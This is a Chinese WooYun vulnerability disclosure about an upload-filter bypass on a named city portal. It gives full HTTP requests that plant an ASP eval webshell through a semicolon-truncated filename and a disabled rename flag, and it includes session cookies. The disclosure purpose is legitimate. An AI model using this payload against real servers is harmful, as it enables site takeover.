当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-091654

漏洞标题:成功沦陷某市信息门户,突破上传+GETSHELL

相关厂商:广东省信息安全测评中心

漏洞作者: 黑暗游侠

提交时间:2015-01-14 18:24

修复时间:2015-02-28 18:26

公开时间:2015-02-28 18:26

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(广东省信息安全测评中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-14: 细节已通知厂商并且等待厂商处理中
2015-01-16: 厂商已经确认,细节仅向厂商公开
2015-01-26: 细节向核心白帽子及相关领域专家公开
2015-02-05: 细节向普通白帽子公开
2015-02-15: 细节向实习白帽子公开
2015-02-28: 细节向公众公开

简要描述:

成功沦陷某市信息门户,突破上传+GETSHELL

详细说明:

台山市信息港中心
1、注册
http://www.taishan.gd.cn/user/userreg.asp
2、登陆并进入修改资料,上传头像,JS本地判断文件扩展名,修改扩展名后利用Burp构造上传asp一句话木马,如图

30.png


上传并截断,得到post数据

POST /user/UpFileSave.asp HTTP/1.1
Host: www.taishan.gd.cn
Proxy-Connection: keep-alive
Content-Length: 509
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://www.taishan.gd.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryffbYtjCGApqY4Gv3
Referer: http://www.taishan.gd.cn/user/User_upfile.asp?channelid=9999
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: ASPSESSIONIDCCBSDBTQ=HLAABDJDHEGNMJJPPBMEFPJF; KSwwwtaishangdcn=RndPassword=LG5RF7LYCCziDfu%21p%40ty&PassWord=d42683b3df678c61&UserName=admin1; Hm_lvt_a07598203f1b22ef263aa96e295c8c82=1405580563; Hm_lpvt_a07598203f1b22ef263aa96e295c8c82=1405580563
------WebKitFormBoundaryffbYtjCGApqY4Gv3
Content-Disposition: form-data; name="File1"; filename="c.asp;c.jpg"
Content-Type: image/jpeg
<%eval request("**敏感不公开**")%>
------WebKitFormBoundaryffbYtjCGApqY4Gv3
Content-Disposition: form-data; name="Submit"
¿ªÊ¼ÉÏ´«
------WebKitFormBoundaryffbYtjCGApqY4Gv3
Content-Disposition: form-data; name="BasicType"
9999
------WebKitFormBoundaryffbYtjCGApqY4Gv3
Content-Disposition: form-data; name="AutoReName"
4
------WebKitFormBoundaryffbYtjCGApqY4Gv3--


修改
AutoReName
原始值为4,修改为0,取消上传后重命名操作,构造完的数据包如下

POST /user/UpFileSave.asp HTTP/1.1
Host: www.taishan.gd.cn
Proxy-Connection: keep-alive
Content-Length: 509
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://www.taishan.gd.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryffbYtjCGApqY4Gv3
Referer: http://www.taishan.gd.cn/user/User_upfile.asp?channelid=9999
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: ASPSESSIONIDCCBSDBTQ=HLAABDJDHEGNMJJPPBMEFPJF; KSwwwtaishangdcn=RndPassword=LG5RF7LYCCziDfu%21p%40ty&PassWord=d42683b3df678c61&UserName=admin1; Hm_lvt_a07598203f1b22ef263aa96e295c8c82=1405580563; Hm_lpvt_a07598203f1b22ef263aa96e295c8c82=1405580563
------WebKitFormBoundaryffbYtjCGApqY4Gv3
Content-Disposition: form-data; name="File1"; filename="c.asp;c.jpg"
Content-Type: image/jpeg
<%eval request("pass")%>
------WebKitFormBoundaryffbYtjCGApqY4Gv3
Content-Disposition: form-data; name="Submit"
¿ªÊ¼ÉÏ´«
------WebKitFormBoundaryffbYtjCGApqY4Gv3
Content-Disposition: form-data; name="BasicType"
9999
------WebKitFormBoundaryffbYtjCGApqY4Gv3
Content-Disposition: form-data; name="AutoReName"
0
------WebKitFormBoundaryffbYtjCGApqY4Gv3--


提交,右键查看头像地址,成功getshell

31.png

漏洞证明:

台山市信息港中心
1、注册
http://www.taishan.gd.cn/user/userreg.asp
2、登陆并进入修改资料,上传头像,JS本地判断文件扩展名,修改扩展名后利用Burp构造上传asp一句话木马,如图

30.png


上传并截断,得到post数据

POST /user/UpFileSave.asp HTTP/1.1
Host: www.taishan.gd.cn
Proxy-Connection: keep-alive
Content-Length: 509
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://www.taishan.gd.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryffbYtjCGApqY4Gv3
Referer: http://www.taishan.gd.cn/user/User_upfile.asp?channelid=9999
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: ASPSESSIONIDCCBSDBTQ=HLAABDJDHEGNMJJPPBMEFPJF; KSwwwtaishangdcn=RndPassword=LG5RF7LYCCziDfu%21p%40ty&PassWord=d42683b3df678c61&UserName=admin1; Hm_lvt_a07598203f1b22ef263aa96e295c8c82=1405580563; Hm_lpvt_a07598203f1b22ef263aa96e295c8c82=1405580563
------WebKitFormBoundaryffbYtjCGApqY4Gv3
Content-Disposition: form-data; name="File1"; filename="c.asp;c.jpg"
Content-Type: image/jpeg
<%eval request("**敏感不公开**")%>
------WebKitFormBoundaryffbYtjCGApqY4Gv3
Content-Disposition: form-data; name="Submit"
¿ªÊ¼ÉÏ´«
------WebKitFormBoundaryffbYtjCGApqY4Gv3
Content-Disposition: form-data; name="BasicType"
9999
------WebKitFormBoundaryffbYtjCGApqY4Gv3
Content-Disposition: form-data; name="AutoReName"
4
------WebKitFormBoundaryffbYtjCGApqY4Gv3--


修改
AutoReName
原始值为4,修改为0,取消上传后重命名操作,构造完的数据包如下

POST /user/UpFileSave.asp HTTP/1.1
Host: www.taishan.gd.cn
Proxy-Connection: keep-alive
Content-Length: 509
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://www.taishan.gd.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryffbYtjCGApqY4Gv3
Referer: http://www.taishan.gd.cn/user/User_upfile.asp?channelid=9999
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: ASPSESSIONIDCCBSDBTQ=HLAABDJDHEGNMJJPPBMEFPJF; KSwwwtaishangdcn=RndPassword=LG5RF7LYCCziDfu%21p%40ty&PassWord=d42683b3df678c61&UserName=admin1; Hm_lvt_a07598203f1b22ef263aa96e295c8c82=1405580563; Hm_lpvt_a07598203f1b22ef263aa96e295c8c82=1405580563
------WebKitFormBoundaryffbYtjCGApqY4Gv3
Content-Disposition: form-data; name="File1"; filename="c.asp;c.jpg"
Content-Type: image/jpeg
<%eval request("pass")%>
------WebKitFormBoundaryffbYtjCGApqY4Gv3
Content-Disposition: form-data; name="Submit"
¿ªÊ¼ÉÏ´«
------WebKitFormBoundaryffbYtjCGApqY4Gv3
Content-Disposition: form-data; name="BasicType"
9999
------WebKitFormBoundaryffbYtjCGApqY4Gv3
Content-Disposition: form-data; name="AutoReName"
0
------WebKitFormBoundaryffbYtjCGApqY4Gv3--


提交,右键查看头像地址,成功getshell

31.png

修复方案:

版权声明:转载请注明来源 黑暗游侠@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-01-16 11:12

厂商回复:

非常感谢您的报告。
报告中的问题已确认并复现.
影响的数据:高
攻击成本:低
造成影响:高
综合评级为:高,rank:10
正在联系相关网站管理单位处置。

最新状态:

暂无